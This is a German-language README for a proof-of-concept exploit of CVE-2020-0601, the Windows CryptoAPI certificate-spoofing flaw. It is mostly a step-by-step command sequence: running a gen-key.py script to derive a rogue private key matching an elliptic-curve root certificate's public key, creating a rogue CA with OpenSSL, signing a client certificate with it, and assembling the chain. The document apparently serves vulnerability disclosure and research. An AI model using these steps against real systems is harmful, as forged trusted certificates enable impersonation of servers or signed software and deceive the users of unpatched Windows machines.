
Proof-of-Concept-Exploit für die CVE-2020-0601 Windows-CryptoAPI-Spoofing-Schwachstelle, der die Erzeugung gefälschter CA-Zertifikate durch Manipulation von Elliptic-Curve-Schlüsseln demonstriert.
CVE-2020-0601: Ausnutzung der Windows CryptoAPI-Spoofing-Sicherheitslücke. Weitere Informationen in unserem Blogbeitrag.
pip install -U -r requirements.txt
Die Zertifikatserstellung funktioniert mit OpenSSL-Version bis zu 1.0.2u.
Wir haben die USERTrust ECC Certification Authority verwendet, aber es kann jedes root-Zertifikat sein, das auf der P-384-Kurve funktioniert.
Um einen privaten Schlüssel zu generieren, der mit dem öffentlichen Schlüssel des root-Zertifikats übereinstimmt, haben wir das Skript gen-key.py verwendet (funktioniert mit Python 3.6 und höher):
$ ./gen-key.py RootCert.pem
Der Schlüssel kann angezeigt werden mit:
$ openssl ec -in p384-key-rogue.pem -text
Dann, um die rogue CA zu generieren:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
Dann generieren wir den folgenden privaten Schlüssel und das folgende Zertifikat:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
Schließlich, um die vollständige Kette in einer Datei zu erhalten, verketten wir das CA- und das Server-Zertifikat:
cat client-cert.pem ca-rogue.pem > cert.pem